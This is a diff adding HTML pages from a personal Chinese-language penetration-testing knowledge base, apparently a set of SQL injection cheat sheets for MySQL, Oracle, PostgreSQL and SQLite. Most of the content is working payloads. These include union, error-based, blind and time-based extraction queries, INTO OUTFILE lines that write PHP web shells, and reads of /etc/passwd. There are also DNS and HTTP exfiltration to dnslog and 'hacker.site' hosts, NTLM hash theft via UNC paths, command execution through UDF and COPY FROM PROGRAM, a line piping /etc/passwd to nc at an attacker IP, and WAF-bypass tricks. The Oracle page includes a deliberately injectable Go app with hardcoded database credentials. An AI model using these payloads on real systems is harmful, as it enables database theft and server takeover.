223353830633139223e53534c207e3e3e203c2f666f6e743e,@@GLOBAL.have_ssl,0x3c62723e3c666f6e7420636f6c6f723d2223393931663333223e42617365204469726563746f7279207e3e3e203c2f666f6e743e,@@basedir,0x3c62723e3c2f616464726573733e3c62723e3c666f6e7420636f6c6f723d22626c7565223e,(/*!13337select*/(@a)/*!13337from*/(/*!13337select*/(@a:=0x00),(/*!13337select*/(@a)/*!13337from*/(information_schema.columns)/*!13337where*/(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=/*!13337concat*/(@a,table_schema,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,table_name,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,column_name,0x3c62723e))))a))+

-- sharik
(select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a)
+

MYSQL 当前查询​

+

该表可以列出 DB 目前正在执行的所有操作。

+
union SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #

-- Dump in one shot example for the table content.
union select 1,(select(@)from(select(@:=0x00),(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state,0x3a,info))))a),3,4 #
+

MYSQL 读取文件的内容​

+

需要 filepriv,否则您将得到错误: ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

+
' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
+
UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php'));
+

如果您在数据库上,则可以使用以下查询重新启用 LOAD_FILE

+
GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#
+

MYSQL 编写一个 shell​

+

进入外场法​

+
[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
+

写入文件方法​

+
[...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';
+

MYSQL 截断​

+

在 MYSQL 中,“ admin ”和“ admin”是相同的。如果数据库中的 username 列有字符限制,则会截断其余字符。因此,如果数据库的列限制为 20 个字符,并且我们输入了一个包含 21 个字符的字符串,则最后 1 个字符将被删除。

+
`username` varchar(20) not null
+

有效载荷: username = "admin a"

+

MYSQL 快速利用​

+

要求: MySQL >= 5.7.22

+

使用 json_arrayagg() 而不是,这样可以显示更少的符号

+
    +
  • group_concat()=1024 个符号
  • +
  • json_arrayagg()>16000000 个符号
  • +
+
SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES;
+

MYSQL UDF 命令执行​

+

首先,您需要检查 UDF 是否安装在服务器上。

+
$ whereis lib_mysqludf_sys.so
/usr/lib/lib_mysqludf_sys.so
+

然后您可以使用诸如 sys_exec 和 sys_eval 之类的功能。

+
$ mysql -u root -p mysql
Enter password: [...]
mysql> SELECT sys_eval('id');
+--------------------------------------------------+
| sys_eval('id') |
+--------------------------------------------------+
| uid=118(mysql) gid=128(mysql) groups=128(mysql) |
+--------------------------------------------------+
+

MYSQL 带外​

+
select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt';
select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt
+

DNS 外过滤​

+
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))
+

UNC 路径-NTLM 哈希窃取​

+
select load_file('\\\\error\\abc');
select load_file(0x5c5c5c5c6572726f725c5c616263);
select 'osanda' into dumpfile '\\\\error\\abc';
select 'osanda' into outfile '\\\\error\\abc';
load data infile '\\\\error\\abc' into table database.table_name;
+

参考文献​

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/Oracle/index.html b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/Oracle/index.html new file mode 100644 index 0000000..eed6a01 --- /dev/null +++ b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/Oracle/index.html @@ -0,0 +1,290 @@ + + + + + +Oracle | wjlin0 + + + + + + + +

Oracle

作者修订时间
wjlin02025-08-19 16:42:15
+

Oracle服务默认端口:1521

+

一些基本概念​

+

1、SID(Site ID):一个由字母和数字组成的系统标识符用来做实例的唯一性的区别,包含了至少一个应用程序的实例和数据存储设备

+

2、实例(Instance):由一个实例数字(或是一个引导ID:SYS.V_$DATABASE.ACTIVATION#)表示,包含了一个操作系统程序的集合和与存储设备进行交谈的内部结构

+

ORACLE实例 = 进程 + 进程所使用的内存(SGA)

+
    +
  • 进程:负责接受和处理客户端传来的数据,如 Windows 下由 oracle.exe 进程负责分发和处理请求
  • +
  • SGA:全称为 System Global Area(系统全局区域)。实际上是内存中的一片共享区域,其中包含实例配置、数据缓存、操作日志、SQL命令、用户信息等信息,由后台进程进行共享
  • +
+

3、数据库:一般指物理存储的文件,Oracle 数据库除了基本的数据文件,还有控制文件和 Redo 日志(重做文件 + 控制文件 + 数据文件 + 临时文件),这些文件一般存储在$ORACLE_HOME\oradata...路径下,后缀名后DBF

+

简而言之,实例是临时性的,数据库是永久性的,一个数据库可以对应多个实例,而一个实例只能对应一个数据库

+

环境搭建​

+
package main

import (
"database/sql"
"fmt"
"github.com/gin-gonic/gin"
_ "github.com/godror/godror"
)

var (
Db *sql.DB
)

func main() {
r := gin.Default()
func() {

var err error
Db, err = sql.Open("godror", `user="TEST" password="test" connectString="119.13.81.145:1521/helowin"`)
if err != nil {
panic(err)
}
err = Db.Ping()
if err != nil {
panic(err)
}
}()
defer Db.Close()
user := r.Group("api/v1")

user.GET("user/queryById", func(c *gin.Context) {
i := c.DefaultQuery("id", "0")
sql_ := fmt.Sprintf("select * from TEST.PERSONS where USER_ID=%s", i)
fmt.Println(sql_)
rows, err := Db.Query(sql_)
if err != nil {
c.JSON(400, gin.H{"err": err.Error()})
fmt.Println(err)
return
}
defer rows.Close()
var slice []map[string]interface{}
var m1 map[string]interface{}
m1 = make(map[string]interface{})

var id, username, password string
for rows.Next() {
rows.Scan(&id, &username, &password) //写入查询数据集的所有列名
m1["id"] = id
m1["username"] = username
m1["password"] = password
slice = append(slice, m1) //分片中追加信息
}

c.JSON(200, gin.H{"data": m1})
return
})
user.GET("user/queryByUsername", func(c *gin.Context) {
i := c.DefaultQuery("user", "admin")
sql_ := fmt.Sprintf("select * from TEST.PERSONS where USERNAME='%s'", i)
fmt.Println(sql_)
rows, err := Db.Query(sql_)
if err != nil {
c.JSON(400, gin.H{"err": err.Error()})
fmt.Println(err)
return
}
defer rows.Close()
var slice []map[string]interface{}
var m1 map[string]interface{}
m1 = make(map[string]interface{})

var id, username, password string
for rows.Next() {
rows.Scan(&id, &username, &password) //写入查询数据集的所有列名
m1["id"] = id
m1["username"] = username
m1["password"] = password
slice = append(slice, m1) //分片中追加信息
}

c.JSON(200, gin.H{"data": m1})
return
})
user.GET("user/BoolById", func(c *gin.Context) {
i := c.DefaultQuery("id", "0")
sql_ := fmt.Sprintf("select * from TEST.PERSONS where USER_ID=%s", i)
fmt.Println(sql_)
rows, err := Db.Query(sql_)
if err != nil {
c.JSON(400, gin.H{"err": "error"})
return
}
defer rows.Close()
var slice []map[string]interface{}
var m1 map[string]interface{}
m1 = make(map[string]interface{})

var id, username, password string
for rows.Next() {
rows.Scan(&id, &username, &password) //写入查询数据集的所有列名
m1["id"] = id
m1["username"] = username
m1["password"] = password
slice = append(slice, m1) //分片中追加信息
}
if len(slice) > 0 {
c.JSON(200, gin.H{"data": "id存在"})
} else {
c.JSON(200, gin.H{"data": "id不存在"})
}
return
})
panic(r.Run(":8000"))
}

+

基本用法​

+
+

![INFO]

+

这里使用了解一些基本语法的话,就了解一些跟mysql不一样的地方

+

虚表 dual:它没有实际的存储意义,永远只存储一条数据,因为 oracle 的语法要求 select 后必须跟上 from,所以通常使用 dual 来作为计算、查询时间等SQL语句中 from 之后的虚表占位,例如select 1+1 from dual

+

都是遵守的SQL标准语法

+
    +
  • select 必须要指明表名。也可以用 dual 作为表名来对非真实的表进行查询
  • +
  • Oracle 中空字符串''就是null(也就是说oracle只有null,没有空字符)
  • +
  • Oracle使用 || 拼接字符串,MySQL中为或运算
  • +
  • Oracle的单引号与mysql一样的,只不过Oracle的双引号是用来消除系统关键字的
  • +
  • Oracle中limit应该使用虚表中的rownum字段通过where条件判断
  • +
+
+
    +
  • 当前数据库用户:
  • +
+
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT version FROM v$instance;
+
    +
  • 获取操作系统版本:
  • +
+
SELECT banner FROM v$version where banner like 'TNS%';
+
    +
  • 获取当前用户权限的所有数据库:
  • +
+
SELECT DISTINCT owner, table_name FROM all_tables;
+
    +
  • 获取当前数据库:
  • +
+
SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
+
    +
  • 表名与字段名:
  • +
+
SELECT table_name FROM all_tables;
SELECT table_name FROM user_tables;
SELECT column_name FROM all_tab_columns;
select column_name from user_tab_columns;
+
    +
  • 获取DB文件路径
  • +
+
SELECT name FROM V$DATAFILE;  
+
    +
  • 获取主机名和IP
  • +
+
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; 查IP
SELECT UTL_INADDR.get_host_name(‘127.0.0.1’) FROM dual; 查主机名称
+
    +
  • 当前数据库用户
  • +
+
SELECT user FROM dual;
SELECT SYS_CONTEXT('USERENV','AUTHENTICATED_IDENTITY') FROM dual;
SELECT SYS_CONTEXT('USERENV','SESSION_USER') FROM dual;
select sys_context('userenv','current_user') from dual

+
    +
  • 所有数据库用户
  • +
+
SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; -- priv
+
    +
  • 所有数据库用户的密码 hash
  • +
+
SELECT name, password, astatus FROM sys.user$; -- priv, <= 10g
SELECT name,spare4 FROM sys.user$ -- priv, 11g
+
    +
  • 获取当前用户权限
  • +
+
SELECT * FROM session_privs; 
+
    +
  • 获取所有用户权限
  • +
+
SELECT * FROM dba_sys_privs; -- priv
+
    +
  • 获取用户角色
  • +
+
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
SELECT DISTINCT grantee FROM dba_sys_privs;
+
    +
  • 列出DBA账户
  • +
+
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; -- priv
+

注入流程​

+

寻找并判断注入点​

+

数字型

+

数字型的注入,和其他类型数据库时都一样,自己构造加减乘除的条件来判断注入

+
    +
  • 通过 <> 来判断
  • +
+
1 and 1<>6--+ #返回为真 页面正常
1 and 1<>1--+ #返回为假 页面异常
+

image-20230404101726037

+

image-20230404101912641

+
    +
  • 通过加减法判断
  • +
+

image-20230404102523196

+
    +
  • 通过数据库报错来判断
  • +
+
# 环境要改动才有截图 
1 #返回为正常
1/0 #返回异常
+

image-20230404102941101

+

image-20230404103017112

+
    +
  • 通过注释符来判断(多行注释:/**/,单行注释:–)
  • +
+
?id=1           #返回为正常
?id=1--test #也返回正常
?id=1/*test*/ #也返回正常
+

image-20230404103046485

+

image-20230404103709626

+

字符型

+

字符型注入相对数字型来说,会存在闭合一些数据引用符号的问题,例如语句通过'闭合语句后,后续就要通过单行注释符来注释剩下的单引号,其他情况也是如此:(假设数据库中name字段有test这个值)

+
    +
  • 通过<>来判断
  • +
+
?user=admin' and 1<>6--+ #返回正常
?user=admin' and 1<>1--+ #返回异常
+

image-20230404104002437

+

image-20230404104023229

+
    +
  • 使用字符串拼接符||,通过判断拼接符是否执行,从而判断是否存在注入
  • +
+
?user=adm'||'in     #返回正常
?user=adm'||'123 #返回异常
+

image-20230404104115641

+

image-20230404104122930

+

联合查询​

+

利用union select将想要查询的数据显示在页面上,构造正常语句,成功执行SQL语句查询数据。

+
+

![Tip]

+

因为Oracle是强匹配的,所以在Oracle进行类似Union联合查询的时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置,最后查询返回指定的记录时,oracle没有limit函数,要通过'>=0 <=1'这种形式来指定。

+
+
select 列名 from (select rownum r,列名 from 表名) where r>0 and r<5;
+
    +
  • 先判断列数,同Mysql一样
  • +
+
?id=1 order by 3 #返回正常
?id=1 order by 4 #提示报错
+

image-20230404104356826

+

image-20230404104405573

+

得出结论数据为: 3 列

+
    +
  • 然后对每一列的数据类型进行判断(可以使用null代替某些无法快速猜测出数据类型的位置),先默认每一列均为null,然后从第一列开始依次将null改为数字,如果报错则说明该列是字符型,否则是数字型。
  • +
+
?id=-1 union select 1,null,null from dual   #没有报错,可以判断第一个字段为数字型 
?id=-1 union select 1,0,null from dual #没有报错,可以判断第一个字段为数字型
+

image-20230404104524029

+

image-20230404104532414

+

image-20230404104617733

+
    +
  • 获取表名
  • +
+
# 获取第一个表名为PERSONS
?id=-1 union select null,table_name,null from user_tables where rownum=1 --+
# 获得第二个表名为TEST_PERSONS
?id=-1 union select 1,table_name,null from user_tables%20 where table_name<>'PERSONS' --+
+

image-20230404105233355

+

image-20230404105638626

+

通过这样一个一个表查效率比较低,可以先查询用户名,再用类似 mysql 中 group_concat() 的方式查询表名

+
# 查询用户名为test
?id=-1 union select 1,(select user from dual),null,null from dual
# 查询用户名为ORACLE1拥有的所有表
?id=-1 union select 1,(select LISTAGG(table_name,',')within group(order by owner)name from all_tables where owner='TEST'),null from dual

+

image-20230404105828042

+

image-20230404105925720

+
    +
  • 获取字段名
  • +
+
# 查询PERSONS表的第一个字段名为 USER_ID
?id=-1+union+select+1,(select+column_name+from+user_tab_columns+where+rownum=1+and+table_name='PERSONS'),null+from+dual
# 查询PERSONS表的第二个字段名为 USERNAME
?id=-1+union+select+1,(select+column_name+from+user_tab_columns+where+rownum=1+and+table_name='PERSONS'+and+column_name<>'USER_ID'),null+from+dual
# 接下来同理
+

image-20230404131004845

+

image-20230404131106052

+

同样地可以使用拼接的方式一次性查出来

+
?id=-1+union+select+1,(select+LISTAGG(column_name,',')within+group(order+by+column_name)name+from+user_tab_columns+where+table_name='PERSONS'),null+from+dual
+

image-20230404131357822

+
    +
  • 获取数据
  • +
+
# 查询第一条数据,username password
?id=-1+union+select+1,(select+(USERNAME)+from+PERSONS+where+rownum=1),null+from+dual
?id=-1+union+select+1,(select+(PASSWORD)+from+PERSONS+where+rownum=1),null+from+dual
+

image-20230404132443734

+

image-20230404132501739

+

还可以把两个字段拼在一起查出来

+
?id=-1+union+select+2,(select+concat(concat(USERNAME,':'),PASSWORD)+from+PERSONS+where+rownum=1),null+from+dual
+

image-20230404132706554

+

报错注入​

+

报错注入是一种通过函数报错前进行子查询获取数据,再通过错误页面回显的一种注入手法,下面介绍几种报错注入函数以及获取一些常见的获取数据,实际操作只需要将子查询内的查询语句进行替换即可。

+
+

![Tip]

+

这里有个小技巧,mysql中我们进行报错语句通常是用 = 与一个数字或者字符比较来构造报错语句,但是在oracle中由于对字符类型的严格判断,如果 = 两边的类型不匹配的话就会返回类型不对的报错,而我们想要的报错信息不回显示,这里可以在报错语句后面加上 is not null 来替代 = ,就不会有上面的问题。

+
+
    +
  • ctxsys.drithsx.sn
  • +
+
?id=1 and (ctxsys.drithsx.sn(1, (SELECT username FROM all_users where rownum=1)))is not null
+

image-20230404134858966

+
    +
  • CTXSYS.CTX_REPORT.TOKEN_TYPE
  • +
+

作用与 ctxsys.drithsx.sn 类似,用于处理文本

+
?id=-1+and+(select+CTXSYS.CTX_REPORT.TOKEN_TYPE((SELECT+username+FROM+all_users+where+rownum=1),'123')+from+dual)is+not+null 
+

image-20230404135230818

+
    +
  • XMLType
  • +
+

XMLType 在调用的时候必须以<:开头,>结尾,即 '<:'||balabala||'>' 或者 chr(60)||chr(58)balabal||chr(62)。另外需要注意的是如果返回的数据种有空格的话,它会自动截断,导致数据不完整,这种情况下先转为 hex,再导出。

+
?id=-1+and+(select+upper(XMLType(chr(60)||chr(58)||(select+user+from+dual)||chr(62)))+from+dual)is+not+null
?id=1+and+(select+XMLType('<:'||(select+user+from+dual)||'>')+from+dual)is+not+null

+

image-20230404140028285

+

image-20230404140140485

+

布尔盲注​

+

通过构造不同条件,返回返回页面的不同,就形成了Bool值的注入

+
    +
  • 直接使用 substr() 分割字符串进行盲注
  • +
+

substr() :用法和mysql一样,同样是要从1开始,而不是0。

+
# 盲注用户名第一位
# 返回正常页面
?id=-1+or+(select+substr(user,1,1)+from+dual)='T'
# 返回没有找到对应数据
?id=-1+or+(select+substr(user,1,1)+from+dual)='a'
+

image-20230404141831145

+

image-20230404141854020

+
    +
  • 通过 substr() 、decode() 函数的盲注(常用)
  • +
+

decode(字段或字段的运算, 值1, 值2, 值3) :当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3。当然值1,值2,值3也可以是表达式,这也为后面的时间盲注提供了便利。

+
?id=-1+or+1=(select+decode(substr((select+user+from+dual),1,1),'T',1,0)+from+dual
?id=-1+or+1=(select+decode(substr((子语句),1,1),'T',1,0)+from+dual
+

image-20230404142433698

+
?id=-1+or+(select+ascii(substr((select+user+from+dual),1,1))from+dual)=84 # T
?id=-1+or+(select+ascii(substr((子语句),1,1))from+dual)=84
+

image-20230404142740903

+

配合上case、substr()函数的方式

+
?id=-1+or+1=(case+when+ascii(substr(user,1,1))=84+then+1+else+0+end)
?id=-1+or+1=(case+when+ascii(substr((子语句),1,1))=84+then+1+else+0+end)
+

image-20230404142933474

+
    +
  • 通过 instr()函数的盲注
  • +
+
?id=-1+or+(instr((select+user+from+dual),'T'))=1
+

image-20230404143058960

+

配合上case 和 chr() 就可以对ASCII码数字进行盲注(相对复杂一点)

+
?id=-1+or+1=(case+instr+(user,chr(84),1,1)+when+1+then+1+else+0+end) --+
?id=-1+or+1=(case+instr+((子语句),chr(84),1,1)+when+1+then+1+else+0+end) --+
+
    +
  • DBMS_PIPE.RECEIVE_MESSAG
  • +
+
?id=1+and+1=(dbms_pipe.receive_message('RDS',5))
+

image-20230404143456371

+

配合docode() 进行延时

+
?id=-1+or+1=(select+decode(substr(user,1,1),'T',dbms_pipe.receive_message('RDS',5),0)+from+dual)
?id=-1+or+1=(select+decode(substr((子语句),1,1),'T',dbms_pipe.receive_message('RDS',5),0)+from+dual)
+

image-20230404143613656

+

外带攻击OOB(Out Of Band)​

+

通过HTTP请求,或者DNSlog,来构造语句,如果目标出网,并且对数据库函数没有进行限制,就会实现攻击

+
    +
  • utl_http.request
  • +
+
?id=-1 and utl_http.request('http://'||(select user from dual)||'.k4m0qx.dnslog.cn/')is not null
+

image-20230404144339171

+
    +
  • utl_inaddr.get_host_address
  • +
+
?id=-1 and utl_inaddr.get_host_address((select user from dual)||'.kgsfi8.dnslog.cn')is not null
+

image-20230404144432252

+
    +
  • SYS.DBMS_LDAP.INIT
  • +
+
?id=-1 and DBMS_LDAP.INIT((select user from dual)||'.wxe59v.dnslog.cn',80)is not null
+

image-20230404144549520

+
    +
  • HTTPURITYPE
  • +
+
?id=1 and (select HTTPURITYPE('http://'||(select user from dual)||'.t1hbkg.dnslog.cn/').GETCLOB() FROM DUAL)is not null --
+

image-20230404144709664

+

绕过​

+

编码绕过​

+
    +
  • 使用hextoraw()和asciistr()配合UTL_RAW.CAST_TO_VARCHAR2()函数来实现编码的绕过。
  • +
+

首先可以将字符变成16进制编码形式:

+
SELECT rawtohex('abcdef') FROM dual;    # 得到616263646566
+

然后在输入的时候借助UTL_RAW.CAST_TO_VARCHAR2 和 hextoraw 将16进制还原为字符串

+
SELECT UTL_RAW.CAST_TO_VARCHAR2(hextoraw(616263646566)) FROM dual;  # 输出abcdef
+

空格绕过​

+

常用于替换空格%20 的其他字符%0a、%0b、%2b、%0c、%0d、%00、%20、%09

+
SELECT 1 FROM dual;             正常语句
SELECT%0a1%0aFROM%0adual; \n换行来替代空格
SELECT%0b1%0bFROM%0bdual; 使用tab来替换空格
SELECT%0c1%0cFROM%0cdual; 使用\r回车开替换空格
SELECT/**/1/**/FROM/**/dual; 多行注释符来替代回车
SELECT--%0a1--%0aFROM--%0adual; 单行注释符和换行来替代回车
SELECT/*!12321SELECT*/1/*!12321AND*/FROM/*!12321QWE*/dual; 使用内联注释符
+

拼接换行回车符​

+

Oracle中用CHR(10)表示换行、CHR(13)表示回车、字符串拼接使用||,那么回车换行即是chr(13)||chr(10)。

+

只要是select from XXX中的都可以拼接回车或换行,*不限于列名、字段名、正常字符串。如下图在user前拼接回车符

+
?id=-1 uNIon sELEct null,to_nchar((SelEct chr(13)||chr(10)||uSEr fROm dual)),null,null fROm dUAl
+

分块传输​

+

直接用github上burp的插件即可:c0ny1/chunked-coding-converter

+

脏数据​

+

waf对于每一个数据包都进行检测,这是很耗费资源的,所以一般只会在固定长度范围内进行检测,那么这里在语句中插入大量无用字符,便可以成功绕过。

+
?id=-1/*脏数据*/uNIon/*脏数据*/sELEct/*脏数据*/null,to_nchar((SelEct chr(13)||chr(10)||uSEr/*脏数据*/fROm dual)),null,null/*脏数据*/fROm/*脏数据*/dUAl/*脏数据*/
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/PostgreSQL/index.html b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/PostgreSQL/index.html new file mode 100644 index 0000000..d288af8 --- /dev/null +++ b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/PostgreSQL/index.html @@ -0,0 +1,96 @@ + + + + + +PostgreSQL | wjlin0 + + + + + + + +

PostgreSQL

作者修订时间
wjlin02023-07-05 21:37:29
+

PostgreSQL 注释​

+
--
/**/
+

PostgreSQL 链注入点符号​

+
; #Used to terminate a SQL command. The only place it can be used within a statement is within a string constant or quoted identifier.
|| #or statement

# usage examples:
/?whatever=1;(select 1 from pg_sleep(5))
/?whatever=1||(select 1 from pg_sleep(5))
+

PostgreSQL 版本​

+
SELECT version()
+

PostgreSQL 当前用户​

+
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
+

PostgreSQL 列表用户​

+
SELECT usename FROM pg_user
+

PostgreSQL 列表密码哈希​

+
SELECT usename, passwd FROM pg_shadow 
+

PostgreSQL 列出数据库管理员帐户​

+
SELECT usename FROM pg_user WHERE usesuper IS TRUE
+

PostgreSQL 列表权限​

+
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
+

PostgreSQL 检查当前用户是否为超级用户​

+
SHOW is_superuser; 
SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;
+

PostgreSQL 数据库名称​

+
SELECT current_database()
+

PostgreSQL 列表数据库​

+
SELECT datname FROM pg_database
+

PostgreSQL 列表表​

+
SELECT table_name FROM information_schema.tables
+

PostgreSQL 列表列​

+
SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
+

PostgreSQL 基于错误​

+
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)

' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
+

PostgreSQL 基于XML​

+
select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row
+

上面的 query_to_xml 将指定查询的所有结果作为单个结果返回。将其与PostgreSQL 基于错误技术相结合,以排除过滤数据,而不必担心 LIMIT 将查询返回一个结果。

+
select database_to_xml(true,true,''); -- dump the current database to XML
select database_to_xmlschema(true,true,''); -- dump the current db to an XML schema
+

注意,对于上述查询,需要在内存中组装输出。对于较大的数据库,这可能会导致速度减慢或拒绝服务的情况。

+

PostgreSQL 基于盲注​

+
' and substr(version(),1,10) = 'PostgreSQL' and '1  -> OK
' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO
+

PostgreSQL 基于时间​

+

确定基于时间的​

+
select 1 from pg_sleep(5)
;(select 1 from pg_sleep(5))
||(select 1 from pg_sleep(5))
+

基于数据库转储时间​

+
select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1
+

基于表转储时间​

+
select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from information_schema.tables limit 1
+

列转储基于时间​

+
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1
+
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
+

PostgreSQL 堆叠查询​

+

使用分号“;”添加另一个查询

+
http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--
+

PostgreSQL 文件读取​

+
select pg_ls_dir('./');
select pg_read_file('PG_VERSION', 0, 200);
+

注意:早期版本的 Postgres 不接受 pg_read_file 或 pg_ls_dir 中的绝对路径。较新的版本(从this提交起)将允许读取超级用户或 default_role_read_server_files 组中的用户的任何文件/文件路径。

+
CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp limit 1 offset 0;
+
SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
SELECT lo_get(16420); -- use the OID returned from the above
SELECT * from pg_largeobject; -- or just get all the large objects and their data
+

PostgreSQL 文件写入​

+
CREATE TABLE pentestlab (t TEXT);
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';
+

或者作为一行:

+
COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';
+
SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20
SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport
+

PostgreSQL 命令执行​

+

2019 年 9 月 19 日​

+

如果您可以直接访问数据库,则可以从Metasploit使用,否则您需要手动执行以下 SQL 查询。

+
DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Drop the table you want to use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function
SELECT * FROM cmd_exec; -- [Optional] View the results
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table
+

https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png

+

使用 libc.so.6​

+
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
+

旁通过滤器​

+

报价​

+

使用 CHR

+
SELECT CHR(65)||CHR(66)||CHR(67);
+

使用美元符号(>=PostgreSQL 版本 8)

+
SELECT $$This is a string$$
SELECT $TAG$This is another string$TAG$
+

参考文献​

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/SQLite/index.html b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/SQLite/index.html new file mode 100644 index 0000000..b206a62 --- /dev/null +++ b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/SQLite/index.html @@ -0,0 +1,48 @@ + + + + + +SQLite | wjlin0 + + + + + + + +

SQLite

作者修订时间
wjlin02023-07-05 21:37:29
+

SQLite 注释​

+
--
/**/
+

SQLite 版本​

+
select sqlite_version();
+

基于字符串-提取数据库结构​

+
SELECT sql FROM sqlite_schema
+

整数/基于字符串-提取表名​

+
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
+

使用极限 X+1 偏移 X 提取所有表格。

+

整数/基于字符串-提取列名​

+
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'
+

对于干净的输出

+
